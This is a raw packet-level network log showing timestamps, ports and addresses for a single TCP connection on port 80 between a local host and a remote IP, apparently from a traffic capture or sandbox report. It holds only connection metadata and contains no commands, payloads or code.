Aug 31, 2024 10:14:15.461318016 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.461339951 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.461352110 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.461360931 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.461396933 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.461419106 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.461457014 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.461460114 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.461496115 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.461643934 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.461654902 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.461673021 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.461679935 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.461683035 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.461694956 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.461713076 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.593611002 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.593621016 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.593637943 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.593647003 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.593660116 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.593668938 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.593677044 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.593683958 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.593693972 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.593712091 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.593712091 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.593724012 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.593732119 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.593756914 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.593786955 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.593805075 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.593839884 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.593843937 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.593849897 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.593873024 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.593883038 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.593939066 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.593955994 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.593966007 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.593976021 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.593987942 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.593991995 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.594006062 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.594018936 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.594099998 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.594135046 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.594144106 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.594152927 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.594177961 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.594192982 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.594223022 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.594233990 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.594250917 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.594255924 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.594260931 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.594269037 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.594278097 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.594283104 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.594314098 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.594690084 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.594724894 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.594733000 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.594743013 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.594768047 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.594789028 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.600790977 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.600801945 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.600820065 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.600840092 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.600853920 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.600863934 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.600872993 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.600897074 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.600917101 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601056099 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601089954 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601141930 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601152897 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601170063 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601178885 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601190090 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601196051 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601208925 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601217031 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601222038 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601227999 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601244926 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601250887 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601253986 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601264000 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601270914 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601278067 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601279974 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601299047 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601309061 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601319075 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601331949 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601335049 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601353884 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601356983 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601366997 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601372957 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601378918 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601387024 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601396084 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601399899 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601404905 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601416111 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601425886 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601428986 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601435900 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601443052 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601458073 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601475000 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601483107 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601500988 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601510048 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601520061 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601562977 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601574898 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601586103 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601598024 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601598024 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601609945 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601613998 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601627111 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601629972 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601639986 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601639986 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601660013 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601665974 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601685047 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601687908 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601695061 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601697922 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601711035 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601723909 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601747036 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601787090 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601799011 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601809978 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601818085 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601836920 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601838112 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601847887 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601856947 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601864100 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601872921 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601874113 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601891041 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601896048 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601900101 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.601918936 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.601931095 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.714519024 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.719316959 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957298994 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957310915 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957324028 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957334995 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957345963 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957350016 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.957355976 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957365036 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.957367897 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957380056 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957390070 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957402945 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957405090 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.957428932 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.957438946 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.957443953 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957453966 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957467079 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957478046 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957489967 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957496881 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.957499027 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957509995 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.957510948 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957520962 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957530975 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957544088 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957545042 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.957566023 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.957566023 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957580090 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.957583904 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957595110 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957603931 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957608938 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.957617044 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957626104 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.957636118 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957643032 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957645893 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957652092 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.957655907 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957664013 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957669020 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957674980 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957684994 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957689047 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.957696915 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957710981 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957720995 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.957735062 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.957735062 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957753897 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957760096 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.957765102 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957773924 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957776070 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.957784891 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957794905 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.957794905 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957801104 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957811117 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957811117 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.957819939 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957827091 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.957834959 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957845926 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957855940 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957859039 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.957860947 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957873106 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957876921 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.957886934 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957896948 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957902908 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.957909107 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957918882 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957922935 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.957927942 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957937956 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957946062 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957947969 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.957957029 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957958937 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.957967997 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957973003 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957990885 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.957995892 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.958000898 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.958010912 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.958013058 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.958022118 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.958024979 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.958030939 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.958041906 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.958054066 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.958056927 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:15.958080053 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:15.958092928 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.108907938 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.108922005 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.108956099 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.108982086 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.109019995 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.109031916 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.109042883 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.109055042 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.109055996 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.109066010 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.109072924 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.109078884 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.109090090 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.109095097 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.109129906 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.109142065 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.109158039 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.109169006 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.109179020 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.109188080 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.109199047 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.109200001 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.109222889 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.109235048 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.110168934 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.110179901 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.110192060 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.110207081 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.110222101 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.110244036 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.110285997 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.110558987 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.110574007 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.110584974 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.110604048 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.110620975 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.110788107 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.110800028 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.110810995 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.110821962 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.110826015 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.110831976 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.110841036 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.110853910 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.110877991 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.110917091 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.110929012 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.110939026 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.110949993 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.110959053 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.110960007 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.110982895 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.110995054 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.111052036 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.111064911 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.111073971 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.111085892 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.111089945 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.111107111 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.111123085 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.112500906 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.112512112 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.112521887 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.112531900 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.112544060 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.112545967 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.112554073 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.112565041 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.112571955 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.112575054 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.112586975 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.112611055 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.112629890 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.112631083 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.112643003 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.112653971 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.112663984 CEST	80	49704	185.215.113.100	192.168.2.5
